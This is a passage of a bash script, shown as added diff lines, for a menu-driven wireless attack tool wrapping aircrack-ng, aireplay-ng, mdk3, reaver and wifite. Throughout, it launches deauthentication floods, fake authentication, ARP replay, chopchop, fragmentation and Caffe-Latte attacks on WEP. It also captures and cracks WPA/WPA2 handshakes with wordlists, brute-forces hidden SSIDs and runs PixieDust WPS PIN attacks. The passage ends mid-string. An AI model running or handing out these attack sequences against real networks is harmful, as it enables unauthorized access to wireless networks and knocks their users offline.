airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor & + ;; + esac + ;; + esac + + echo "" + echo "" + +} + + +aircrackDecrypt(){ + + currentTask="aircrackDecrypt" + + sessionCopyNewCaptureFiles + + case "$encryptionType" in + + "wep") + aircrackDecryptWEP + ;; + + "wpa") + aircrackDecryptWPA + ;; + + "wpa2") + aircrackDecryptWPA2 + ;; + + esac + +} + + +adAPScan(){ + + currentTask="adAPScan" + + echo "" + + banner + + rm "$defaultScanOutputIVS" + rm "$defaultScanOutputXML" + + #$terminal airodump-ng --channel $channel -i $interfaceMonitor & + #$terminal airodump-ng --ignore-negative-one --channel $channel -i $interfaceMonitor & + + $terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor -w "$initPath/apScan" --write-interval 10 -o netxml & + + #$terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor & + #read pause + + echo "" + echo "" + +} + + +# Unused Function (20170103) +adAPScanWPS(){ + + currentTask="adAPScanWPS" + + echo "" + echo "" + + $terminal airodump-ng --channel $channel -i $interfaceMonitor --wps & + + #$terminal airodump-ng --channel $channel --encrypt $encryptionType -i $interfaceMonitor --$encryptionType& + + echo "" + echo "" + +} + + +adAPScanWifiteWPS(){ + + currentTask="adAPScanWifiteWPS" + + echo "" + echo "" + + $terminal $wifiteAttackWPS -c $channel -i $interfaceMonitor & + + echo "" + echo "" + +} + + +adAPScanWifiteWEP(){ + + currentTask="adAPScanWifiteWEP" + + echo "" + echo "" + + $terminal $wifiteAttackWEP -c $channel -i $interfaceMonitor & + + echo "" + echo "" + +} + + +adAPScanNoChannel(){ + + currentTask="adAPScanNoChannel" + + echo "" + + banner + + rm "$defaultScanOutputIVS" + rm "$defaultScanOutputXML" + + #$terminal airodump-ng -i $interfaceMonitor & + #$terminal airodump-ng --ignore-negative-one -i $interfaceMonitor & + + $terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor -w "$initPath/apScan" --write-interval 10 -o netxml & + + #$terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor & + #read pause + + echo "" + echo "" + +} + + +adAPScanNoChannelWPS(){ + + currentTask="adAPScanNoChannelWPS" + + echo "" + + banner + + rm "$defaultScanOutputIVS" + rm "$defaultScanOutputXML" + + $terminal airodump-ng -i $interfaceMonitor --wps -w "$initPath/apScan" --write-interval 10 -o netxml & + + #$terminal airodump-ng -i $interfaceMonitor --wps & + + #$terminal airodump-ng --encrypt $encryptionType -i $interfaceMonitor --$encryptionType& + + echo "" + echo "" + +} + + +adAPScanWifiteWPSNoChannel(){ + + currentTask="adAPScanWifiteWPSNoChannel" + + echo "" + echo "" + + $terminal $wifiteAttackWPS -i $interfaceMonitor & + + echo "" + echo "" + +} + + +adAPScanWifiteWEPNoChannel(){ + + currentTask="adAPScanWifiteWEPNoChannel" + + echo "" + echo "" + + $terminal $wifiteAttackWEP -i $interfaceMonitor & + + echo "" + echo "" + +} + + +bruteForceHiddenSSID(){ + + currentTask="bruteForceHiddenSSID" + + adAPScanNoChannel + + banner + echo "" + $green + echo "Using Interface: $interfaceMonitor" + echo "" + echo "" + echo "" + echo "" + $cyan + echo "Use the airodump window to find your target" + echo "" + echo "Example Hidden: 01:02:03:04:05:06 " + echo "" + echo "" + echo "" + echo "" + $white + echo "Type Target BSSID and Press ENTER:" + echo "" + + read targetBSSID + + case "$targetBSSID" in + + *) + banner + echo "" + $cyan + mdk3 $interfaceMonitor p -t $targetBSSID -b -s 300 + echo "" + echo "" + ;; + + esac + + $green + echo "" + echo "" + echo "" + echo "***************************************" + echo "Bruteforcing Finished!" + echo "***************************************" + echo "" + echo "" + echo "Check Above For Possible Hidden SSID Reveals" + echo "" + echo "" + echo "" + echo "" + echo "Press ENTER To Continue When Finished...." + echo "" + read finishBrute + +} + + +############################################################################ +# ATTACKS: GLOBAL END ################################################## +############################################################################ + + + + + +############################################################################ +# ATTACKS: WEP BEGIN ################################################### +############################################################################ + + +autoModeNoPreviousSessionWEP(){ + + currentTask="autoModeNoPreviousSessionWEP" + + adAPScanNoChannel + + doSleepMessage "Setting Up User Input...." "2" + + getESSID + getBSSID + getChannel + + sessionWriteBeginNew + sessionCopyNewCaptureFiles + + doSleepMessage "Killing airodump-ng Sessions...." "2" + + killAirodump + killWifite + + doSleepMessage "Preparing Client Association...." "2" + + arAssociate + #sleep 10 + #killAireplay + + doSleepMessage "Preparing airodump-ng Session...." "2" + + adFileDump + menuAttacksWEP + +} + + +autoModeUsePreviousSessionWEP(){ + + currentTask="autoModeUsePreviousSessionWEP" + + sessionWriteLoadPrevious + + doSleepMessage "Preparing Client Association...." "2" + + arAssociate + + doSleepMessage "Preparing airodump-ng Session...." "2" + + adFileDump + + menuAttacksWEP + +} + + +menuAttacksWEP(){ + + currentTask="menuAttacksWEP" + lastMenuID="menuAttacksWEP" + + sessionCopyNewCaptureFiles + + + banner + bannerStats + + echo "" + echo "Choose an attack to perform and press ENTER (Type \"more\" to see other options):" + echo "" + echo "" + echo "1) De-Auth (De-Authenticate All Stations) (0=Constant)" + echo "2) Fake Auth (Fake Authentication with AP)" + echo "3) Interactive Attack (Interactive Frame Selection)" + echo "4) ARP Replay (Standard ARP Request Replay)" + echo "5) ChopChop Atack (Decrypt WEP Packets)" + echo "6) Fragment Attack (Generates a Valid Keystream)" + echo "7) Caffe-Latte Attack (Query Client for New IV's)" + echo "8) C-Frag (Fragments Against a Client)" + echo "9) MigMode (Attacks WPA Migration Mode)" + echo "" + echo "R) Re-Associate (Associate with Client)" + echo "N) Start New Capture (Log to a new CAP file)" + echo "T) Test (Tests Injection and Quality)" + echo "" + echo "C) Run Aircrack (Crack WEP Key) **If decryption fails, press ENTER from aircrack to return here**" + echo "" + + read getAttackWEP + + hotkeyInput="$getAttackWEP" + + loadMenuHotkeys "$hotkeyInput" + + case "$getAttackWEP" in + + "") + menuAttacksWEP + ;; + + "C" | "c") + aircrackDecrypt + ;; + + "R" | "r") + arAssociate + ;; + + "T" | "t") + arAttackTest + ;; + + "N" | "n") + killAirodump + killAireplay + adFileDump + ;; + + "0") + arAttackDeAuthConstant + ;; + + "1") + arAttackDeAuth + ;; + + "2") + arAttackFakeAuth + ;; + + "3") + arAttackInteractive + ;; + + "4") + arAttackArpReplay + ;; + + "5") + arAttackChopChop + ;; + + "6") + arAttackFragment + ;; + + "7") + arAttackCaffeLatte + ;; + + "8") + arAttackCfrag + ;; + + "9") + arAttackMigMode + ;; + + "more") + banner + bannerStats + + echo "" + echo "Choose an option and press ENTER:" + echo "" + echo "" + echo "1) TCP Dump" + echo "" + echo "2) Generate ARP Packet" + echo "" + echo "3) Forge ARP Request" + echo "" + echo "4) Replay Forged ARP Request" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "R) Return To Previous Page" + echo "" + echo "" + + read getMore + + hotkeyInput="$getMore" + + loadMenuHotkeys "$hotkeyInput" + + case "$getMore" in + + "") + menuAttacksWEP + ;; + + "1") + # Needs .cap as INPUT + #tcpDump "" + tcpDump "$initPath/$bssid-arp.cap" + ;; + + "2") + generateArpPacket + ;; + + "3") + # Needs .xor as INPUT + #forgeArpRequest "" + getXorFile=$(ls | grep xor | grep $essid) + forgeArpRequest "$getXorFile" "$initPath/$bssid-arp.cap" + ;; + + "4") + # Needs .cap as INPUT (Using Default From forgeArpRequest) + replayArpRequest + ;; + + "R" | "r") + menuAttacksWEP + ;; + + esac + ;; + + + *) + menuAttacksWEP + ;; + + esac + + menuAttacksWEP + +} + + +menuAttacksWEPWifiteAuto(){ + + currentTask="menuAttacksWEPWifiteAuto" + lastMenuID="menuAttacksWEPWifiteAuto" + + killAll + + #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 5000 & + $terminal $wifiteAttackWEP -wepsave "$initPath" -wepca 5000 & + + banner + bannerStats + + echo "" + echo "The wifite session should be launched in a separate window." + echo "" + echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!" + echo "" + echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!" + echo "" + + read pause + + sessionCopyNewCaptureFiles + + killAll + menuAuto + +} + + +arAssociate(){ + + currentTask="arAssociate" + + echo "" + echo "" + + $terminal aireplay-ng -1 6000 -e $essid -a $bssid -h $macAddressMonitor $interfaceMonitor & + + echo "" + echo "" + +} + + +arAttackDeAuth(){ + + currentTask="arAttackDeAuth" + + retryDeauth="0" + + doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "2" + + $terminal aireplay-ng --deauth 5 -a $bssid $interfaceMonitor & + + doSleepMessage "De-Authenticating All Connected Stations...." "5" + +} + + +arAttackDeAuthConstant(){ + + currentTask="arAttackDeAuthConstant" + + retryDeauth="0" + + doSleepMessage "De-Authenticating All Connected Stations...." "2" + + $terminal aireplay-ng --deauth 0 -a $bssid $interfaceMonitor & + +} + + +arAttackFakeAuth(){ + + currentTask="arAttackFakeAuth" + + #$terminal aireplay-ng -1 1 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor & + $terminal aireplay-ng -1 0 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor & + + # Alt + #$terminal aireplay-ng -1 6000 -o 1 -q 10 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor & + +} + + +arAttackInteractive(){ + + currentTask="arAttackInteractive" + + $terminal aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -a $bssid -h $macAddressMonitor $interfaceMonitor & + +} + + +arAttackArpReplay(){ + + currentTask="arAttackArpReplay" + + $terminal aireplay-ng -3 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor & + +} + + +arAttackChopChop(){ + + currentTask="arAttackChopChop" + + #$terminal aireplay-ng -4 -a $bssid -h $macAddressMonitor $interfaceMonitor & + $terminal aireplay-ng -4 -h $macAddressMonitor -b $bssid $interfaceMonitor & + + # Unauthenticated Method + #$terminal aireplay-ng -4 -b $bssid $interfaceMonitor & + +} + + +arAttackFragment(){ + + currentTask="arAttackFragment" + + $terminal aireplay-ng -5 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor & + +} + + +arAttackCaffeLatte(){ + + currentTask="arAttackCaffeLatte" + + $terminal aireplay-ng -6 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor & + +} + + +arAttackCfrag(){ + + currentTask="arAttackCfrag" + + $terminal aireplay-ng -7 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor & + +} + + +arAttackMigMode(){ + + currentTask="arAttackMigMode" + + $terminal aireplay-ng -8 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor & + +} + + +arAttackTest(){ + + currentTask="arAttackTest" + + $terminal aireplay-ng -9 -e $essid -a $bssid -h $macAddressMonitor $interfaceMonitor & + +} + +aircrackDecryptWEP(){ + + currentTask="aircrackDecryptWEP" + + banner + bannerStats + + echo "" + echo "Preparing capture files for aircrack-ng...." + echo "" + echo "" + + findCaptureFiles + + #echo "$listCap" + #echo "$listIvs" + #read pause + + killAircrack + + aircrack-ng -a $acMode -e "$essid" -b $bssid -l "key_$essid" $listCap $listIvs& + #aircrack-ng -e "$essid" -b $bssid -l "key_$essid" *.cap *.ivs& + #aircrack-ng -l "key_$essid" *.cap *.ivs& + #'aircrack-ng' " -l" "$capturePath/$encryptionType/key_$essid" "$capturePath/$encryptionType/*.cap" "$capturePath/$encryptionType/*.ivs"& + + # Killing aircrack-ng to stop auto-checking from overlapping WEP Attack menu + killAircrack + + #echo "" + #echo "" + #echo "" + #echo "FOUND KEY: " + echo "" + echo "" + echo "" + echo "Press ENTER to return to Attacks Menu...." + echo "" + echo "" + + read acPause + + menuAttacksWEP + +} + + +############################################################################ +# ATTACKS: WEP END ##################################################### +############################################################################ + + + + + +############################################################################ +# ATTACKS: WPA BEGIN ################################################### +############################################################################ + + +autoModeNoPreviousSessionWPA(){ + + currentTask="autoModeNoPreviousSessionWPA" + + adAPScanNoChannel + + doSleepMessage "Setting Up User Input...." "2" + + getESSID + getBSSID + getChannel + + sessionWriteBeginNew + sessionCopyNewCaptureFiles + + doSleepMessage "Killing Airodump Window...." "2" + + + killAirodump + + + menuAttacksWPA + + echo "" + echo "" + echo "Press any key to continue...." + echo "" + echo "" + + read pause + +} + + +autoModeUsePreviousSessionWPA(){ + + currentTask="autoModeUsePreviousSessionWPA" + + sessionWriteLoadPrevious + + menuAttacksWPA + + + echo "" + echo "" + echo "Press any key to continue...." + echo "" + echo "" + + read pause + +} + + +menuAttacksWPA(){ + + currentTask="menuAttacksWPA" + + banner + bannerStats + + # Only run a deauth with default text and settings if not re-forced through menu + case "$retryDeauth" in + + "0") + killAll + + adFileDump + + doSleepMessage "Preparing to Capture WPA Handshake...." "2" + + arAttackDeAuth + captureHandshakeWPA + ;; + + "1") + doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "1" + arAttackDeAuth + captureHandshakeWPA + ;; + esac + +} + + +aircrackDecryptWPA(){ + + currentTask="aircrackDecryptWPA" + lastMenuID="aircrackDecryptWPA" + + banner + bannerStats + + doSleepMessage "Preparing captured handshake for aircrack-ng...." "4" + + banner + bannerStats + + echo "" + echo "You need a wordlist to crack the key!" + echo "" + echo "Current List Loaded:" + echo "" + $green + echo "$wordlist" + $white + echo "" + echo "You may press C and ENTER to load a custom list" + echo "" + echo "" + echo "Another Example Wordlist Collection:" + echo "https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm" + echo "" + echo "" + echo "You may also press B and ENTER to run a besside-ng attack" + echo "" + echo "" + echo "Press ENTER once you have a valid wordlist ready!" + echo "" + echo "" + + read tmpPause + + hotkeyInput="$tmpPause" + + loadMenuHotkeys "$hotkeyInput" + + case "$tmpPause" in + + "") + $terminal aircrack-ng -w "$wordlist" -b $bssid *.cap + ;; + + "C" | "c") + getCustomList + ;; + + "B" | "b") + bessideMain + ;; + + esac + + banner + bannerStats + + #echo "" + #echo "" + #echo "" + #echo "FOUND KEY: " + echo "" + echo "WPA Attack Is Currently Running!" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + $red + echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***" + echo "" + echo "" + $white + echo "Press ENTER to restart attack or use an option from Top Navigation Bar...." + echo "" + echo "" + $red + echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***" + $white + echo "" + echo "" + + read acPause + + hotkeyInput="$acPause" + + loadMenuHotkeys "$hotkeyInput" + + case "$acPause" in + + "") + killAll + menuAttacksWPA + ;; + + esac + +} + + +captureHandshakeWPA(){ + + currentTask="captureHandshakeWPA" + lastMenuID="captureHandshakeWPA" + + banner + bannerStats + + echo "" + echo "The airodump window is open. Look in top right hand corner for the handshake" + echo "" + echo "Once handshake is complete, you may close the airodump window." + echo "" + echo "" + $green + echo "Example: [ WPA handshake: $bssid ]" + $white + echo "" + echo "" + echo "" + echo "To force another DEAUTH for HANDSHAKE press D and ENTER!" + echo "" + echo "" + echo "" + echo "" + echo "Press ENTER to continue once handshake is made...." + echo "" + echo "" + + read captureHandshake + + hotkeyInput="$captureHandshake" + + loadMenuHotkeys "$hotkeyInput" + + case "$captureHandshake" in + + "") + killAirodump + killAireplay + + doSleepMessage "Preparing capture files for aircrack-ng...." "2" + + aircrackDecrypt + ;; + + "D" | "d") + retryDeauth="1" + menuAttacksWPA + ;; + + *) + menuAttacksWPA + ;; + + esac + +} + + +menuAttacksWPAWifiteAuto(){ + + currentTask="menuAttacksWPAWifiteAuto" + lastMenuID="menuAttacksWPAWifiteAuto" + + killAll + + #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 & + $terminal $wifiteAttackWPA & + + banner + bannerStats + + echo "" + echo "The wifite session should be launched in a separate window." + echo "" + echo "" + echo "" + echo "" + echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!" + echo "" + echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!" + echo "" + + read pause + + sessionCopyNewCaptureFiles + + killAll + menuAuto + +} + + +############################################################################ +# ATTACKS: WPA END ##################################################### +############################################################################ + + + + + +############################################################################ +# ATTACKS: WPA2 BEGIN ################################################## +############################################################################ + + +autoModeNoPreviousSessionWPA2(){ + + currentTask="autoModeNoPreviousSessionWPA2" + + adAPScanNoChannel + + doSleepMessage "Setting Up User Input...." "2" + + getESSID + getBSSID + getChannel + + sessionWriteBeginNew + sessionCopyNewCaptureFiles + + doSleepMessage "Killing Airodump Window...." "2" + + + killAirodump + + menuAttacksWPA2 + + echo "" + echo "" + echo "Press any key to continue...." + echo "" + echo "" + + read pause + +} + + +autoModeUsePreviousSessionWPA2(){ + + currentTask="autoModeUsePreviousSessionWPA2" + + sessionWriteLoadPrevious + + menuAttacksWPA2 + + echo "" + echo "" + echo "Press any key to continue...." + echo "" + echo "" + + read pause + +} + + +menuAttacksWPA2(){ + + currentTask="menuAttacksWPA2" + + banner + bannerStats + + # Only run a deauth with default text and settings if not re-forced through menu + case "$retryDeauth" in + + "0") + killAll + + adFileDump + + doSleepMessage "Preparing to Capture WPA Handshake...." "2" + + arAttackDeAuth + captureHandshakeWPA2 + ;; + + "1") + doSleepMessage "Preparing to De-Authenticate All Connected Stations...." "1" + arAttackDeAuth + captureHandshakeWPA2 + ;; + esac + +} + + +aircrackDecryptWPA2(){ + + currentTask="aircrackDecryptWPA2" + lastMenuID="aircrackDecryptWPA2" + + banner + bannerStats + + doSleepMessage "Preparing captured handshake for aircrack-ng...." "4" + + banner + bannerStats + + echo "" + echo "You need a wordlist to crack the key!" + echo "" + echo "Current List Loaded:" + echo "" + $green + echo "$wordlist" + $white + echo "" + echo "You may press C and ENTER to load a custom list" + echo "" + echo "" + echo "Another Example Wordlist Collection:" + echo "https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm" + echo "" + echo "" + echo "You may also press B and ENTER to run a besside-ng attack" + echo "" + echo "" + echo "Press ENTER once you have a valid wordlist ready!" + echo "" + echo "" + + read tmpPause + + hotkeyInput="$tmpPause" + + loadMenuHotkeys "$hotkeyInput" + + case "$tmpPause" in + + "") + $terminal aircrack-ng -w "$wordlist" -b $bssid *.cap + ;; + + "C" | "c") + getCustomList + ;; + + "B" | "b") + bessideMain + ;; + + esac + + banner + bannerStats + + #echo "" + #echo "" + #echo "" + #echo "FOUND KEY: " + echo "" + echo "WPA2 Attack Is Currently Running!" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + $red + echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***" + echo "" + echo "" + $white + echo "Press ENTER to restart attack or use an option from Top Navigation Bar...." + echo "" + echo "" + $red + echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***" + $white + echo "" + echo "" + + read acPause + + hotkeyInput="$acPause" + + loadMenuHotkeys "$hotkeyInput" + + case "$acPause" in + + "") + killAll + menuAttacksWPA2 + ;; + + esac + +} + + +captureHandshakeWPA2(){ + + currentTask="captureHandshakeWPA2" + lastMenuID="captureHandshakeWPA2" + + banner + bannerStats + + echo "" + echo "The airodump window is open. Look in top right hand corner for the handshake" + echo "" + echo "Once handshake is complete, you may close the airodump window." + echo "" + echo "" + $green + echo "Example: [ WPA handshake: $bssid ]" + $white + echo "" + echo "" + echo "" + echo "To force another DEAUTH for HANDSHAKE press D and ENTER!" + echo "" + echo "" + echo "" + echo "" + echo "Press ENTER to continue once handshake is made...." + echo "" + echo "" + + read captureHandshake + + hotkeyInput="$captureHandshake" + + loadMenuHotkeys "$hotkeyInput" + + case "$captureHandshake" in + + "") + killAirodump + killAireplay + + doSleepMessage "Preparing capture files for aircrack-ng...." "2" + + aircrackDecrypt + ;; + + *) + menuAttacksWPA2 + ;; + + esac + +} + + +menuAttacksWPA2WifiteAuto(){ + + currentTask="menuAttacksWPA2WifiteAuto" + lastMenuID="menuAttacksWPA2WifiteAuto" + + killAll + + #$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 & + $terminal $wifiteAttackWPA2 & + + banner + bannerStats + + echo "" + echo "The wifite session should be launched in a separate window." + echo "" + echo "" + echo "" + echo "" + echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!" + echo "" + echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!" + echo "" + + read pause + + sessionCopyNewCaptureFiles + + killAll + menuAuto + +} + + +############################################################################ +# ATTACKS: WPA2 END #################################################### +############################################################################ + + + + + +############################################################################ +# ATTACKS: WPS BEGIN ################################################### +############################################################################ + + +autoModeNoPreviousSessionWPS(){ + + currentTask="autoModeNoPreviousSessionWPS" + + #adAPScanWifiteWPSNoChannel + #adAPScanNoChannel + adAPScanNoChannelWPS + + doSleepMessage "Preparing Text List of Available Targets...." "15" + + doSleepMessage "Setting Up User Input...." "2" + + getESSID + getBSSID + getChannel + + sessionWriteBeginNew + sessionCopyNewCaptureFiles + + doSleepMessage "Killing Airodump Window...." "2" + + + killAirodump + killWash + killWifite + + getBSSIDCharOnly + + # Choose WPS Attack Method + case "$attackMethodWPS" in + + "reaver") + reaverSaveAllSessionFiles + menuAttacksWPS + ;; + + "bully") + menuBullyMain + ;; + + esac + +} + + +autoModeUsePreviousSessionWPS(){ + + currentTask="autoModeUsePreviousSessionWPS" + + sessionWriteLoadPrevious + + menuAttacksWPS + +} + + +menuAttacksWPS(){ + + currentTask="menuAttacksWPS" + + banner + bannerStats + + # Set Default Choice + pixieChoice="1" + + echo "" + echo "1) Continue With PixieDust ENABLED (Recommended)" + echo "" + echo "2) Continue With PixieDust DISABLED" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "Choose an Option and Press ENTER to continue" + echo "" + echo "" + echo "" + $green + echo "If No Selection Is Made, It Will Continue Automatically Using PixieDust" + $white + echo "" + echo "" + echo "Continuing In 10 Seconds...." + echo "" + echo "" + + read -t 10 pixieChoice + + hotkeyInput="$pixieChoice" + + loadMenuHotkeys "$hotkeyInput" + + case "$pixieChoice" in + + "") + #menuAttacksWPS + pixieChoice="1" + sleepMessage1="Preparing Reaver/PixieDust Session...." + sleepMessage2="Launching Reaver/PixieDust Session...." + sleepMessage3="Reaver Session Sprinkled With PixieDust Is Now Active!" + ;; + + "1") + pixieChoice="1" + sleepMessage1="Preparing Reaver/PixieDust Session...." + sleepMessage2="Launching Reaver/PixieDust Session...." + sleepMessage3="Reaver Session Sprinkled With PixieDust Is Now Active!" + ;; + + "2") + pixieChoice="2" + sleepMessage1="Preparing Reaver Session...." + sleepMessage2="Launching Reaver Session...." + sleepMessage3="Reaver Session Is Now Active!" + ;; + + *) + menuAttacksWPS + ;; + + esac + + doSleepMessage "$sleepMessage1" "1" + + killAirodump + killWash + + disableChannelHopping + + doSleepMessage "$sleepMessage1" "1" + + doSleepMessage "$sleepMessage2" "2" + + banner + bannerStats + + doSleepMessage "$sleepMessage3" "0" "$green" + $white + echo "" + echo "Press CTRL+C At Any Time To Stop Current Session and Save" + sleep 2 + + case "$pixieChoice" in + + "1") + #echo "PixeDust Enabled" + #$reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv -K $pixieNumber + $reaver -i $interfaceMonitor -b $bssid -c $channel -vv -K $pixieNumber + #read pause + #pixieFailed="1" + + reaverSessionComplete + + case "$pixieFailed" in + + "1") + banner + bannerStats + echo "Pixie Attack Failed! Starting Normal Reaver Attack" + echo "" + echo "" + $white + reaverMenuAttacksWPS + ;; + + esac + ;; + + "2") + #echo "PixeDust Disabled" + #$reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv + #$reaver -i $interfaceMonitor -b $bssid -c $channel -vv + + reaverMenuAttacksWPS + ;; + + esac + +} + + +reaverMenuAttacksWPS(){ + + currentTask="reaverMenuAttacksWPS" + + banner + bannerStats + + sleepMessage1="Preparing Reaver Session...." + sleepMessage2="Launching Reaver Session...." + sleepMessage3="Reaver Session Is Now Active!" + + doSleepMessage "$sleepMessage1" "1" + + killAirodump + killWash + + disableChannelHopping + + doSleepMessage "$sleepMessage1" "1" + + doSleepMessage "$sleepMessage2" "1" + + banner + bannerStats + + doSleepMessage "$sleepMessage3" "0" "$green" + $white + echo "" + echo "Press CTRL+C At Any Time To Stop Current Session and Save" + sleep 2 + + $reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv + + # Set pixieChoice To 0 For Triggering Normal Reaver Save Session Screen + pixieChoice="0" + + reaverSessionComplete + +} + + +reaverSessionComplete(){ + + currentTask="reaverSessionComplete" + + # Session has ended lands here + getBSSIDCharOnly + + echo "" + $lightBlue + echo "***************************************" + echo "** SCROLL UP FOR RECOVERED PASSWORD ***" + echo "***************************************" + echo "" + #$magenta + #echo "Attempting To Save Reaver Session...." + #echo "" + #echo "** Will Give Error If No Session Has Been Written **" + #echo "" + reaverSaveCurrentSessionFile + + $green + echo "" + echo "***************************************" + echo "* Your reaver session has been saved! *" + echo "***************************************" + $white + echo "" + $yellow + + # Check if PixieDust was used + case "$pixieChoice" in + + "0") + echo "If the key is available, now would be a good time to do the following:" + echo "" + echo "- Write down or take a picture of the WPA/WPA2 key and/or WPS pin" + echo "" + echo "" + $cyan + echo "** YOU MAY NEED TO SCROLL UP TO SEE THE PASSPHRASE / PIN / ESSID **" + $white + echo "" + echo "" + echo "" + echo "" + echo "" + echo "Press ENTER to continue...." + echo "" + + read pause + ;; + + "1") + echo "If the key is available, now would be a good time to do the following:" + echo "" + echo "- Write down or take a picture of the WPA/WPA2 key and/or WPS pin" + echo "" + echo "" + $cyan + echo "** YOU MAY NEED TO SCROLL UP TO SEE THE PASSPHRASE / PIN / ESSID **" + echo "" + $cyan + echo "* IF PIXIEDUST ATTACK FAILED, USE THE \"R\" OPTION TO START NORMAL REAVER ATTACK *" + $white + echo "" + echo "" + echo "" + echo "Press ENTER to continue or type \"R\" to start normal Reaver attack...." + echo "" + + read pixiePost + + case "$pixiePost" in + + "R" | "r") + banner + bannerStats + echo "Pixie Attack Failed! Starting Normal Reaver Attack" + echo "" + echo "" + $white + reaverMenuAttacksWPS + ;; + + esac + ;; + + esac + + menuMain + +} + +menuAttacksWPSWifiteAuto(){ + + currentTask="menuAttacksWPSWifiteAuto" + lastMenuID="menuAttacksWPSWifiteAuto" + + killAll + + #$terminal $wifiteAttackWPS -c $channel -b $bssid -e $essid -wepsave -wepca 1000 & + $terminal $wifiteAttackWPS & + + banner + bannerStats + + echo "" + echo "The wifite session should be launched in a separate window." + echo "" + echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!" + echo "" + echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!" + echo "" + + read pause + + echo "" + echo "" + echo "Your wifite session has been saved!" + echo "" + echo "" + echo "" + echo "" + echo "If the key is available, now would be a good time to do the following:" + echo "" + echo "1) Write down the WPA/WPA2 key and/or WPS pin" + echo "" + echo "2) Take a picture of the screen to keep a record of the keys" + echo "" + echo "" + echo "" + echo "" + echo "Press ENTER to continue...." + echo "" + echo "" + + killAll + menuAuto + + read pause + +} + + +aircrackDecryptWPS(){ + + # NOT ACTUALLY USED FOR WPS ATTACK + + currentTask="aircrackDecryptWPS" + + blank="" + +} + + +reaverSaveCurrentSessionFile(){ + + currentTask="reaverSaveCurrentSessionFile" + + # Use current session path and bssid to build variable + reaverCurrentSessionFile="../../$reaverSessionPath/$bssidCharOnly.wpc" + + # Check BSSID and only continue if not blank + if [ "$bssidCharOnly" != "" ];then + + # Check to see if reaver session file exists + if [ -e $reaverCurrentSessionFile ];then + + # Copy reaver session file to current WPS sessions directory + cp "$reaverCurrentSessionFile" "$capturePathWPS" + + fi + + fi + +} + + +reaverSaveAllSessionFiles(){ + +currentTask="reaverSaveCurrentSessionFile" + + # Check BSSID and only continue if not blank + if [ "$bssidCharOnly" != "" ];then + + cp "../../$reaverSessionPath/*.wpc" "$capturePathWPS" + + fi + +} + + +menuBullyMain() { + + currentTask="menuBullyMain" + + banner + echo "" + echo "Bully WPS Attack Menu" + echo "" + echo "" + echo "" + echo "" + echo "Choose an option and press ENTER:" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + echo "" + + read pause + +} + + +menuWashMain() { + + #currentTask="menuWashMain" + + banner + echo "" + echo "WPS Wash Menu" + echo "" + echo "" + echo "" + echo "" + echo "Choose an option and press ENTER:" + echo "" + echo "" + echo "" + echo "1) Use Defaults" + echo "" + echo "2) Enter Channel Number" + echo "" + echo "3) Toggle Scan Mode" + echo "" + echo "4) Use 5GHz Band" + echo "" + echo "5) Do Not Ignore Frame Checksum Errors" + echo "" + echo "" + echo "" + echo "" + echo "R) Return To Previous Page" + echo "" + echo "" + + read washOption + + case "$washOption" in + + "1") + wash -i $interfaceMonitor -o "$washFile" -C + ;; + + "2") + wash -i $interfaceMonitor -o "$washFile" -C -c $washChannel + ;; + + "3") + wash -i $interfaceMonitor -o "$washFile" -C -s + ;; + + "4") + wash -i $interfaceMonitor -o "$washFile" -C -5 + ;; + + "5") + wash -i $interfaceMonitor -o "$washFile" + ;; + + "6") + currentTask + ;; + + esac + +} + + + +############################################################################ +# ATTACKS: WPS END ##################################################### +############################################################################ + + + + +############################################################################ +# ATTACKS: UNIVERSAL BEGIN ############################################# +############################################################################ + +menuAttacksAllWifiteAuto(){ + + currentTask="menuAttacksAllWifiteAuto" + lastMenuID="menuAttacksAllWifiteAuto" + + killAll + + $terminal $wifiteAttackAll & + + banner + bannerStats + + echo "" + echo "The wifite session should be launched in a separate window." + echo "" + echo "PRESS ENTER ONLY WHEN 